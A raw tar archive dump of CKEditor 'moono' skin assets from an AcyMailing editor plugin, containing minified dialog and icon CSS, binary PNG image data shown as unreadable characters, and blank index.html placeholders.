.cke_button__pastefromword_icon {background: url(icons_hidpi.png) no-repeat 0 -816px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__pastefromword_icon,.cke_ltr.cke_hidpi .cke_button__pastefromword_icon {background: url(icons_hidpi.png) no-repeat 0 -840px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__pastetext_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__pastetext_icon {background: url(icons_hidpi.png) no-repeat 0 -864px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__pastetext_icon,.cke_ltr.cke_hidpi .cke_button__pastetext_icon {background: url(icons_hidpi.png) no-repeat 0 -888px !important;background-size: 16px !important;}.cke_hidpi .cke_button__removeformat_icon {background: url(icons_hidpi.png) no-repeat 0 -912px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__source_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__source_icon {background: url(icons_hidpi.png) no-repeat 0 -936px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__source_icon,.cke_ltr.cke_hidpi .cke_button__source_icon {background: url(icons_hidpi.png) no-repeat 0 -960px !important;background-size: 16px !important;}.cke_hidpi .cke_button__table_icon {background: url(icons_hidpi.png) no-repeat 0 -984px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__redo_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__redo_icon {background: url(icons_hidpi.png) no-repeat 0 -1008px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__redo_icon,.cke_ltr.cke_hidpi .cke_button__redo_icon {background: url(icons_hidpi.png) no-repeat 0 -1032px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__undo_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__undo_icon {background: url(icons_hidpi.png) no-repeat 0 -1056px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__undo_icon,.cke_ltr.cke_hidpi .cke_button__undo_icon {background: url(icons_hidpi.png) no-repeat 0 -1080px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__sourcedialog_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__sourcedialog_icon {background: url(icons_hidpi.png) no-repeat 0 -1104px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__sourcedialog_icon,.cke_ltr.cke_hidpi .cke_button__sourcedialog_icon {background: url(icons_hidpi.png) no-repeat 0 -1128px !important;background-size: 16px !important;}                                                                                                                                                                                                                                                                                                                                                                                 editors/acyeditor/acyeditor/ckeditor/skins/moono/dialog_iequirks.css                                0000705                 00000040752 15242051521 0022135 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       /*
Copyright (c) 2003-2015, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.md or http://ckeditor.com/license
*/
.cke_dialog{visibility:visible}.cke_dialog_body{z-index:1;background:#eaeaea;border:1px solid #b2b2b2;border-bottom-color:#999;-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;-moz-box-shadow:0 0 3px rgba(0,0,0,.15);-webkit-box-shadow:0 0 3px rgba(0,0,0,.15);box-shadow:0 0 3px rgba(0,0,0,.15)}.cke_dialog strong{font-weight:bold}.cke_dialog_title{font-weight:bold;font-size:13px;cursor:move;position:relative;color:#474747;text-shadow:0 1px 0 rgba(255,255,255,.75);border-bottom:1px solid #999;padding:6px 10px;-moz-border-radius:2px 2px 0 0;-webkit-border-radius:2px 2px 0 0;border-radius:2px 2px 0 0;-moz-box-shadow:0 1px 0 #fff inset;-webkit-box-shadow:0 1px 0 #fff inset;box-shadow:0 1px 0 #fff inset;background:#cfd1cf;background-image:-webkit-gradient(linear,left top,left bottom,from(#f5f5f5),to(#cfd1cf));background-image:-moz-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:-webkit-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:-o-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:-ms-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:linear-gradient(top,#f5f5f5,#cfd1cf);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#f5f5f5',endColorstr='#cfd1cf')}.cke_dialog_contents{background-color:#fff;overflow:auto;padding:15px 10px 5px 10px;margin-top:30px;border-top:1px solid #bfbfbf;-moz-border-radius:0 0 3px 3px;-webkit-border-radius:0 0 3px 3px;border-radius:0 0 3px 3px}.cke_dialog_contents_body{overflow:auto;padding:17px 10px 5px 10px;margin-top:22px}.cke_dialog_footer{text-align:right;position:relative;border:0;outline:1px solid #bfbfbf;-moz-box-shadow:0 1px 0 #fff inset;-webkit-box-shadow:0 1px 0 #fff inset;box-shadow:0 1px 0 #fff inset;-moz-border-radius:0 0 2px 2px;-webkit-border-radius:0 0 2px 2px;border-radius:0 0 2px 2px;background:#cfd1cf;background-image:-webkit-gradient(linear,left top,left bottom,from(#ebebeb),to(#cfd1cf));background-image:-moz-linear-gradient(top,#ebebeb,#cfd1cf);background-image:-webkit-linear-gradient(top,#ebebeb,#cfd1cf);background-image:-o-linear-gradient(top,#ebebeb,#cfd1cf);background-image:-ms-linear-gradient(top,#ebebeb,#cfd1cf);background-image:linear-gradient(top,#ebebeb,#cfd1cf);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#ebebeb',endColorstr='#cfd1cf')}.cke_rtl .cke_dialog_footer{text-align:left}.cke_hc .cke_dialog_footer{outline:0;border-top:1px solid #fff}.cke_dialog .cke_resizer{margin-top:22px}.cke_dialog .cke_resizer_rtl{margin-left:5px}.cke_dialog .cke_resizer_ltr{margin-right:5px}.cke_dialog_tabs{height:24px;display:inline-block;margin:5px 0 0;position:absolute;z-index:2;left:10px}.cke_rtl .cke_dialog_tabs{right:10px}a.cke_dialog_tab{height:16px;padding:4px 8px;margin-right:3px;display:inline-block;cursor:pointer;line-height:16px;outline:0;color:#595959;border:1px solid #bfbfbf;-moz-border-radius:3px 3px 0 0;-webkit-border-radius:3px 3px 0 0;border-radius:3px 3px 0 0;background:#d4d4d4;background-image:-webkit-gradient(linear,left top,left bottom,from(#fafafa),to(#ededed));background-image:-moz-linear-gradient(top,#fafafa,#ededed);background-image:-webkit-linear-gradient(top,#fafafa,#ededed);background-image:-o-linear-gradient(top,#fafafa,#ededed);background-image:-ms-linear-gradient(top,#fafafa,#ededed);background-image:linear-gradient(top,#fafafa,#ededed);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#fafafa',endColorstr='#ededed')}.cke_rtl a.cke_dialog_tab{margin-right:0;margin-left:3px}a.cke_dialog_tab:hover{background:#ebebeb;background:-moz-linear-gradient(top,#ebebeb 0,#dfdfdf 100%);background:-webkit-gradient(linear,left top,left bottom,color-stop(0%,#ebebeb),color-stop(100%,#dfdfdf));background:-webkit-linear-gradient(top,#ebebeb 0,#dfdfdf 100%);background:-o-linear-gradient(top,#ebebeb 0,#dfdfdf 100%);background:-ms-linear-gradient(top,#ebebeb 0,#dfdfdf 100%);background:linear-gradient(to bottom,#ebebeb 0,#dfdfdf 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ebebeb',endColorstr='#dfdfdf',GradientType=0)}a.cke_dialog_tab_selected{background:#fff;color:#383838;border-bottom-color:#fff;cursor:default;filter:none}a.cke_dialog_tab_selected:hover{background:#ededed;background:-moz-linear-gradient(top,#ededed 0,#fff 100%);background:-webkit-gradient(linear,left top,left bottom,color-stop(0%,#ededed),color-stop(100%,#fff));background:-webkit-linear-gradient(top,#ededed 0,#fff 100%);background:-o-linear-gradient(top,#ededed 0,#fff 100%);background:-ms-linear-gradient(top,#ededed 0,#fff 100%);background:linear-gradient(to bottom,#ededed 0,#fff 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ededed',endColorstr='#ffffff',GradientType=0)}.cke_hc a.cke_dialog_tab:hover,.cke_hc a.cke_dialog_tab_selected{border:3px solid;padding:2px 6px}a.cke_dialog_tab_disabled{color:#bababa;cursor:default}.cke_single_page .cke_dialog_tabs{display:none}.cke_single_page .cke_dialog_contents{padding-top:5px;margin-top:0;border-top:0}.cke_dialog_close_button{background-image:url(images/close.png);background-repeat:no-repeat;background-position:50%;position:absolute;cursor:pointer;text-align:center;height:20px;width:20px;top:5px;z-index:5;opacity:.8;filter:alpha(opacity = 80)}.cke_dialog_close_button:hover{opacity:1;filter:alpha(opacity = 100)}.cke_hidpi .cke_dialog_close_button{background-image:url(images/hidpi/close.png);background-size:16px}.cke_dialog_close_button span{display:none}.cke_hc .cke_dialog_close_button span{display:inline;cursor:pointer;font-weight:bold;position:relative;top:3px}.cke_ltr .cke_dialog_close_button{right:5px}.cke_rtl .cke_dialog_close_button{left:6px}.cke_dialog_close_button{top:4px}div.cke_disabled .cke_dialog_ui_labeled_content div *{background-color:#ddd;cursor:default}.cke_dialog_ui_vbox table,.cke_dialog_ui_hbox table{margin:auto}.cke_dialog_ui_vbox_child{padding:5px 0}.cke_dialog_ui_hbox{width:100%}.cke_dialog_ui_hbox_first,.cke_dialog_ui_hbox_child,.cke_dialog_ui_hbox_last{vertical-align:top}.cke_ltr .cke_dialog_ui_hbox_first,.cke_ltr .cke_dialog_ui_hbox_child{padding-right:10px}.cke_rtl .cke_dialog_ui_hbox_first,.cke_rtl .cke_dialog_ui_hbox_child{padding-left:10px}.cke_ltr .cke_dialog_footer_buttons .cke_dialog_ui_hbox_first,.cke_ltr .cke_dialog_footer_buttons .cke_dialog_ui_hbox_child{padding-right:5px}.cke_rtl .cke_dialog_footer_buttons .cke_dialog_ui_hbox_first,.cke_rtl .cke_dialog_footer_buttons .cke_dialog_ui_hbox_child{padding-left:5px;padding-right:0}.cke_hc div.cke_dialog_ui_input_text,.cke_hc div.cke_dialog_ui_input_password,.cke_hc div.cke_dialog_ui_input_textarea,.cke_hc div.cke_dialog_ui_input_select,.cke_hc div.cke_dialog_ui_input_file{border:1px solid}textarea.cke_dialog_ui_input_textarea{overflow:auto;resize:none}input.cke_dialog_ui_input_text,input.cke_dialog_ui_input_password,textarea.cke_dialog_ui_input_textarea{background-color:#fff;border:1px solid #c9cccf;border-top-color:#aeb3b9;padding:4px 6px;outline:0;width:100%;*width:95%;-moz-box-sizing:border-box;-webkit-box-sizing:border-box;box-sizing:border-box;-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;-moz-box-shadow:0 1px 2px rgba(0,0,0,.15) inset;-webkit-box-shadow:0 1px 2px rgba(0,0,0,.15) inset;box-shadow:0 1px 2px rgba(0,0,0,.15) inset}input.cke_dialog_ui_input_text:hover,input.cke_dialog_ui_input_password:hover,textarea.cke_dialog_ui_input_textarea:hover{border:1px solid #aeb3b9;border-top-color:#a0a6ad}input.cke_dialog_ui_input_text:focus,input.cke_dialog_ui_input_password:focus,textarea.cke_dialog_ui_input_textarea:focus,select.cke_dialog_ui_input_select:focus{outline:0;border:1px solid #139ff7;border-top-color:#1392e9}a.cke_dialog_ui_button{display:inline-block;*display:inline;*zoom:1;padding:4px 0;margin:0;text-align:center;color:#333;vertical-align:middle;cursor:pointer;border:1px solid #b6b6b6;border-bottom-color:#999;-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;-moz-box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;-webkit-box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;background:#e4e4e4;background-image:-webkit-gradient(linear,left top,left bottom,from(#fff),to(#e4e4e4));background-image:-moz-linear-gradient(top,#fff,#e4e4e4);background-image:-webkit-linear-gradient(top,#fff,#e4e4e4);background-image:-o-linear-gradient(top,#fff,#e4e4e4);background-image:-ms-linear-gradient(top,#fff,#e4e4e4);background-image:linear-gradient(top,#fff,#e4e4e4);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#ffffff',endColorstr='#e4e4e4')}span.cke_dialog_ui_button{padding:0 10px}a.cke_dialog_ui_button:hover{border-color:#9e9e9e;background:#ccc;background-image:-webkit-gradient(linear,left top,left bottom,from(#f2f2f2),to(#ccc));background-image:-moz-linear-gradient(top,#f2f2f2,#ccc);background-image:-webkit-linear-gradient(top,#f2f2f2,#ccc);background-image:-o-linear-gradient(top,#f2f2f2,#ccc);background-image:-ms-linear-gradient(top,#f2f2f2,#ccc);background-image:linear-gradient(top,#f2f2f2,#ccc);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#f2f2f2',endColorstr='#cccccc')}a.cke_dialog_ui_button:focus,a.cke_dialog_ui_button:active{border-color:#969696;outline:0;-moz-box-shadow:0 0 6px rgba(0,0,0,.4) inset;-webkit-box-shadow:0 0 6px rgba(0,0,0,.4) inset;box-shadow:0 0 6px rgba(0,0,0,.4) inset}.cke_hc a.cke_dialog_ui_button:hover,.cke_hc a.cke_dialog_ui_button:focus,.cke_hc a.cke_dialog_ui_button:active{border:3px solid;padding-top:1px;padding-bottom:1px}.cke_hc a.cke_dialog_ui_button:hover span,.cke_hc a.cke_dialog_ui_button:focus span,.cke_hc a.cke_dialog_ui_button:active span{padding-left:10px;padding-right:10px}.cke_dialog_footer_buttons a.cke_dialog_ui_button span{color:inherit;font-size:12px;font-weight:bold;line-height:18px;padding:0 12px}a.cke_dialog_ui_button_ok{color:#fff;text-shadow:0 -1px 0 #55830c;border-color:#62a60a #62a60a #4d9200;background:#69b10b;background-image:-webkit-gradient(linear,0 0,0 100%,from(#9ad717),to(#69b10b));background-image:-webkit-linear-gradient(top,#9ad717,#69b10b);background-image:-o-linear-gradient(top,#9ad717,#69b10b);background-image:linear-gradient(to bottom,#9ad717,#69b10b);background-image:-moz-linear-gradient(top,#9ad717,#69b10b);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#9ad717',endColorstr='#69b10b')}a.cke_dialog_ui_button_ok:hover{border-color:#5b9909 #5b9909 #478500;background:#88be14;background:-webkit-gradient(linear,left top,left bottom,color-stop(0%,#88be14),color-stop(100%,#5d9c0a));background:-webkit-linear-gradient(top,#88be14 0,#5d9c0a 100%);background:-o-linear-gradient(top,#88be14 0,#5d9c0a 100%);background:linear-gradient(to bottom,#88be14 0,#5d9c0a 100%);background:-moz-linear-gradient(top,#88be14 0,#5d9c0a 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#88be14',endColorstr='#5d9c0a',GradientType=0)}a.cke_dialog_ui_button span{text-shadow:0 1px 0 #fff}a.cke_dialog_ui_button_ok span{text-shadow:0 -1px 0 #55830c}span.cke_dialog_ui_button{cursor:pointer}a.cke_dialog_ui_button_ok:focus,a.cke_dialog_ui_button_ok:active,a.cke_dialog_ui_button_cancel:focus,a.cke_dialog_ui_button_cancel:active{border-width:2px;padding:3px 0}a.cke_dialog_ui_button_ok:focus,a.cke_dialog_ui_button_ok:active{border-color:#568c0a}a.cke_dialog_ui_button_ok:focus span,a.cke_dialog_ui_button_ok:active span,a.cke_dialog_ui_button_cancel:focus span,a.cke_dialog_ui_button_cancel:active span{padding:0 11px}.cke_dialog_footer_buttons{display:inline-table;margin:5px;width:auto;position:relative;vertical-align:middle}div.cke_dialog_ui_input_select{display:table}select.cke_dialog_ui_input_select{height:25px;line-height:25px;background-color:#fff;border:1px solid #c9cccf;border-top-color:#aeb3b9;padding:3px 3px 3px 6px;outline:0;-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;-moz-box-shadow:0 1px 2px rgba(0,0,0,.15) inset;-webkit-box-shadow:0 1px 2px rgba(0,0,0,.15) inset;box-shadow:0 1px 2px rgba(0,0,0,.15) inset}.cke_dialog_ui_input_file{width:100%;height:25px}.cke_hc .cke_dialog_ui_labeled_content input:focus,.cke_hc .cke_dialog_ui_labeled_content select:focus,.cke_hc .cke_dialog_ui_labeled_content textarea:focus{outline:1px dotted}.cke_dialog .cke_dark_background{background-color:#dedede}.cke_dialog .cke_light_background{background-color:#ebebeb}.cke_dialog .cke_centered{text-align:center}.cke_dialog a.cke_btn_reset{float:right;background:url(images/refresh.png) top left no-repeat;width:16px;height:16px;border:1px none;font-size:1px}.cke_hidpi .cke_dialog a.cke_btn_reset{background-size:16px;background-image:url(images/hidpi/refresh.png)}.cke_rtl .cke_dialog a.cke_btn_reset{float:left}.cke_dialog a.cke_btn_locked,.cke_dialog a.cke_btn_unlocked{float:left;width:16px;height:16px;background-repeat:no-repeat;border:none 1px;font-size:1px}.cke_dialog a.cke_btn_locked .cke_icon{display:none}.cke_rtl .cke_dialog a.cke_btn_locked,.cke_rtl .cke_dialog a.cke_btn_unlocked{float:right}.cke_dialog a.cke_btn_locked{background-image:url(images/lock.png)}.cke_dialog a.cke_btn_unlocked{background-image:url(images/lock-open.png)}.cke_hidpi .cke_dialog a.cke_btn_unlocked,.cke_hidpi .cke_dialog a.cke_btn_locked{background-size:16px}.cke_hidpi .cke_dialog a.cke_btn_locked{background-image:url(images/hidpi/lock.png)}.cke_hidpi .cke_dialog a.cke_btn_unlocked{background-image:url(images/hidpi/lock-open.png)}.cke_dialog .cke_btn_over{border:outset 1px;cursor:pointer}.cke_dialog .ImagePreviewBox{border:2px ridge black;overflow:scroll;height:200px;width:300px;padding:2px;background-color:white}.cke_dialog .ImagePreviewBox table td{white-space:normal}.cke_dialog .ImagePreviewLoader{position:absolute;white-space:normal;overflow:hidden;height:160px;width:230px;margin:2px;padding:2px;opacity:.9;filter:alpha(opacity = 90);background-color:#e4e4e4}.cke_dialog .FlashPreviewBox{white-space:normal;border:2px ridge black;overflow:auto;height:160px;width:390px;padding:2px;background-color:white}.cke_dialog .cke_pastetext{width:346px;height:170px}.cke_dialog .cke_pastetext textarea{width:340px;height:170px;resize:none}.cke_dialog iframe.cke_pasteframe{width:346px;height:130px;background-color:white;border:1px solid #aeb3b9;-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px}.cke_dialog .cke_hand{cursor:pointer}.cke_disabled{color:#a0a0a0}.cke_dialog_body .cke_label{display:none}.cke_dialog_body label{display:inline;margin-bottom:auto;cursor:default}.cke_dialog_body label.cke_required{font-weight:bold}a.cke_smile{overflow:hidden;display:block;text-align:center;padding:.3em 0}a.cke_smile img{vertical-align:middle}a.cke_specialchar{cursor:inherit;display:block;height:1.25em;padding:.2em .3em;text-align:center}a.cke_smile,a.cke_specialchar{border:1px solid transparent}a.cke_smile:hover,a.cke_smile:focus,a.cke_smile:active,a.cke_specialchar:hover,a.cke_specialchar:focus,a.cke_specialchar:active{background:#fff;outline:0}a.cke_smile:hover,a.cke_specialchar:hover{border-color:#888}a.cke_smile:focus,a.cke_smile:active,a.cke_specialchar:focus,a.cke_specialchar:active{border-color:#139ff7}.cke_dialog_contents a.colorChooser{display:block;margin-top:6px;margin-left:10px;width:80px}.cke_rtl .cke_dialog_contents a.colorChooser{margin-right:10px}.cke_dialog_ui_checkbox_input:focus,.cke_dialog_ui_radio_input:focus,.cke_btn_over{outline:1px dotted #696969}.cke_iframe_shim{display:block;position:absolute;top:0;left:0;z-index:-1;filter:alpha(opacity = 0);width:100%;height:100%}.cke_rtl input.cke_dialog_ui_input_text,.cke_rtl input.cke_dialog_ui_input_password{padding-right:2px}.cke_rtl div.cke_dialog_ui_input_text,.cke_rtl div.cke_dialog_ui_input_password{padding-left:2px}.cke_rtl div.cke_dialog_ui_input_text{padding-right:1px}.cke_rtl .cke_dialog_ui_vbox_child,.cke_rtl .cke_dialog_ui_hbox_child,.cke_rtl .cke_dialog_ui_hbox_first,.cke_rtl .cke_dialog_ui_hbox_last{padding-right:2px!important}.cke_hc .cke_dialog_title,.cke_hc .cke_dialog_footer,.cke_hc a.cke_dialog_tab,.cke_hc a.cke_dialog_ui_button,.cke_hc a.cke_dialog_ui_button:hover,.cke_hc a.cke_dialog_ui_button_ok,.cke_hc a.cke_dialog_ui_button_ok:hover{filter:progid:DXImageTransform.Microsoft.gradient(enabled=false)}.cke_hc div.cke_dialog_ui_input_text,.cke_hc div.cke_dialog_ui_input_password,.cke_hc div.cke_dialog_ui_input_textarea,.cke_hc div.cke_dialog_ui_input_select,.cke_hc div.cke_dialog_ui_input_file{border:0}.cke_dialog_footer{filter:""}                      editors/acyeditor/acyeditor/ckeditor/skins/moono/images/lock-open.png                               0000705                 00000000535 15242051521 0022105 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       PNG

   IHDR         7  $IDAT(].͡D^q
iIXxOӧq#xVJl"q(CY|23"FIңG.	>iwpΘA+7dR$x8fqzCUR>_/+od| L'!s*B)Ch'"!)teOjK/]V`˚g۴isOVlٚ
6[+AC)u-AѲG6i̴Ysn#2++.I{@
<Q"<ss/    IENDB`                                                                                                                                                                   editors/acyeditor/acyeditor/ckeditor/skins/moono/images/arrow.png                                   0000705                 00000000277 15242051521 0021353 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       PNG

   IHDR         gr   *PLTE   999999999999999999999999999999999999}U   tRNS   	*-cfG   7IDATc4b
wAw vL2`} fb JUWQ    IENDB`                                                                                                                                                                                                                                                                                                                                 editors/acyeditor/acyeditor/ckeditor/skins/moono/images/hidpi/lock.png                              0000705                 00000002423 15242051521 0022241 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       PNG

   IHDR           D  
PLTEԨըթ֩תث٫ڬۭ۬ܭݮ߰ᱱᲲⱱ䴴洴浵캺                         ""##HMMJNN/::9EEV\\[aaADDGJJ(())**!--#..$//&22'33)44+77,88/;;0<<2==7BB9>>9DD<GG=??=@@>AA>II?JJ@BB@HHACCCEECKKDDDDEEDFFEEEEGGGGGGHHGIIGJJHHHHIIHJJHQQJJJJKKJLLKKKKMMKNNLLLLNNMMMMOOMQQNNNNQQOOOOPPPRRPSSPTTQQQQRRRRRRSSRTTSSSSUUTUUTVVUUUUVVVVVWYYXZZX]]Z\\]^^^``_dd````ffacccddceecffddddeedggeffeggfffgggghhgiihiiikkilljmmn   tRNS                                                  #4<Wf}}(   
IDAT8mn@]i*Q8 y*\C=D4uMO3X  wNgkAR ~+xw[Ŵ7z:Vp{krdw#8,jm7<?ZgEԾB#YX?f*n"Li6n)2>=Cduz%q[2ٲNoB/Y00]zz.**'$tmY^G\:z5CgTe~~;Xw`_uld	fSy b0V  /}ꯄMtD}*Gߺ$}8h y#]m`I]4* y!TmDHMQ Pl,bi#ef4nYDR1(E(V "Z S4mau#e f*rD>Zⲳ`ZL{lYn\-Y}(`Fv &UB     IENDB`                                                                                                                                                                                                                                             editors/acyeditor/acyeditor/ckeditor/skins/moono/images/hidpi/index.html                            0000705                 00000000054 15242051521 0022576 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <html><body bgcolor="#FFFFFF"></body></html>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    editors/acyeditor/acyeditor/ckeditor/skins/moono/images/hidpi/lock-open.png                         0000705                 00000002461 15242051521 0023202 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       PNG

   IHDR           szz  IDATXÝVMlWl?`5(EUTZ)%UksC**R@^{@9JQ8 R%7=xlf$֞f}mMPs2  WPZCk	Ld D)R)ZCi PB(5p`  )\&*CţGOBϞ={p[* "B >:ӫWLv\)e#a\تX	̨b/]8+0 ` Ю=]MMۇmC
wh#?_mhh"a0M	!%5L .ә3LXB(khxdIة(otlp ҥY)0*F7򕥥Wvݷ5j&ڮVCei?4göc~80f$l;)?L;ANn;ER{C¶ĉ>JAHxPFPtLkev&?~cX=1p	ᖻQ
Uf
uB:α[d`zv"P&&& @)00boHe!Ò@Xf`-)a%x0PkPPocGD6FcG.D"èr]m<yty}ee~Ν{Jnc<*-)161ɓ0BjzzH	SJL?,)')[̘8t fH! È  }'Ȑpu!ͻ-8x/~o<p Ddއw<o řÁ=2|E Ç7JE HfsO_1{%PJE`@|0=Y{w[[L9|899&{gUtD"*J 닚y=7 f$34o?;  | IBF2C*5S)$95(dp@k(BWml,@<+WwW-N 0#Rgi Aihz$u#lu|z2-?E"-ػЯX][[(?MAŋg˅%aTZn|9tm5^WZZ7j}  4e$fv*=t ̏.bMSH    IENDB`                                                                                                                                                                                                               editors/acyeditor/acyeditor/ckeditor/skins/moono/images/hidpi/refresh.png                           0000705                 00000003462 15242051521 0022753 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       PNG

   IHDR           szz  IDATXåWYOUW݌W\p#ے
2$2(hml֤Mt5iCSgZgE=]ksAz˹眽G\XFB׭6lW6nqm_^];3Ļ [GG]ĥx'iC(okv{ArM#1+1Q:L⿿v挸wzюKRx7vډ
+WstIZ{[v\b_16͛={C"ӧե |b\|_H8}qΝS{lxbZKivtPd2$buruMkhh.rҥrV\..x\̔6c 1#4jmmT:d/h  EC/^,kjj,X@.YD̙#]=<z'];^<jnWlyİ;̈fdC>{+˖)Khkkky\ ߋc!8; TH3"QQ0RLEaUWW˪*YYY9 W@d5q3'f 9i-_<{|(J<
* sC
 KJQSă&q<;|X(/:XL*tL[MfGo]`h	+t!8ˢ;&n) l!SVhSeXVR^.?1c2Pv5(]8;GZBI?cyn4dY}_V'O>aP\Y,h.'XscvUm<0ʴ'yXa1Ge?_΁T^k $&6-jj]饸 22A)q&-\Щ鹾JKKKUph0-"6@OWw+*g!AbzOU\R"g#GQQ'XrYR{pwwf\<ٿ_D0f^fP .zPN f/24
F4S?1#0)gAe~х"T<@=JGcެt_-@CViL_Aa,
75D7`X:;"ViDG˩%` 눙3/gʼ|%HV6;oh[/ף F,GFROJhd}=aY992L &v+֨e(W=FCX<U̲JJ`J|	 d 

h_ߋ*`]D}>j^270ؗ<'"jX=xG'$Ζ9 B2[#ލ@"cR}MJqX/9q?y,`,::V''ˌLI dbf7/kxKG2(uƳ"ѣ{b1	q}@sBJĞ(v[ͨU/,lǠ2 $dK*jB&A0R%$D<=Ro8/-#C[,:;\Ox-#V4"2&'%-M@u6H1->cKHP\)hN>'mՑav\!/Ae2`!7%#cࣨGJ홐@_OJϜ$ J2^LdDTT7p-]:(TL
ѪKpX)kl8(YPXX*j4&ք7V'L!1,?6s|XXYV_F'8sj(}Ж;¯ ;ha    IENDB`                                                                                                                                                                                                              editors/acyeditor/acyeditor/ckeditor/skins/moono/images/hidpi/close.png                             0000705                 00000002367 15242051521 0022425 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       PNG

   IHDR           D  PLTEԨըթ֪תث٫٬ڬڭۭܮݯᲲⲲ㳳䳳䴴嵵浵絵綶鷷鸸빹칹                                        	                          /99   
RSS199&&+335;;9??<AA=BBBGGLNNPUUQUUVWWQVVTYYV\\?BB@CCAEEBDDEGGGGGGIIGJJHHHHIIJJJJLLKKKKLLLMMMMMMNNNOOOOOOPPPPPQQQRRRRSSSSSTTTTUUUUUVVVXXXXYYYYYY[[ZZZZ[[[[[\\\\^^]]]^^^____``````aabbbbccbddcccddddffgggghhjjjkmmlll.   tRNS                                                 &*2789:;<=GGGGHIJLZ  IDAT8ՓOQn?a_b	&&MҖnwwK)<ܜ;IΙKT!?}p}/)@Y]IyDDJXu+YYͦGRRө
r=z$2j1'qWųExZSǩ S(Nx}Tve8Mtb.ӠZ~  8mﾗT$;1!f^?Lupr6Y{'4c4(~]6 80HX\&8̝nf1Ax2Ue*˷"*ܲQ[/^6V 7}&Vsw_+C
vlh@hgj&r5Ii:JwhFױ,+e&8j:`}4#:j=].nCf)w~u7^]]X;^2j)YN|i+a,&KwE?8yd5VHRS{_    IENDB`                                                                                                                                                                                                                                                                         editors/acyeditor/acyeditor/ckeditor/skins/moono/images/close.png                                   0000705                 00000000724 15242051521 0021323 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       PNG

   IHDR         (-S   PLTE                                 '''   '''SSS===DDDOOOXXXYYY[[[BBBKKKQQQUUU\\\ccceeeUz   0tRNS                    WX[^_bbego   IDAT]Qr0@'@\glBgZR @ =̂=uџ:PtQD|e"|=Ү2k]Wۯ4@u<_{@=orJ4ncaRewΡF;Ði;Q]$FDZd'f    IENDB`                                            editors/acyeditor/acyeditor/ckeditor/skins/moono/images/lock.png                                    0000705                 00000000733 15242051521 0021146 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       PNG

   IHDR         (-S   PLTE            ---         '''      """''')))***///777===>>>AAABBBEEEGGGIIILLLMMMNNNPPPQQQRRRTTTVVVWWWXXXYYYZZZA    tRNS                 Hggj   IDAT1r0Eh'ԹRe#"~v8JVz \(h^/`mm 6N xo܅;{QnV03I_f!忣d& y  eZdd Y>Ȝ:dnmԹdV  4UQ,    IENDB`                                     editors/acyeditor/acyeditor/ckeditor/skins/moono/images/index.html                                  0000705                 00000000054 15242051521 0021501 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <html><body bgcolor="#FFFFFF"></body></html>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    editors/acyeditor/acyeditor/ckeditor/skins/moono/images/refresh.png                                 0000705                 00000000646 15242051521 0021657 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       PNG

   IHDR         7  mIDATKU cfiT!IjCBT!9D?HSN--r}~D45uBP(*u{"jJBP,'

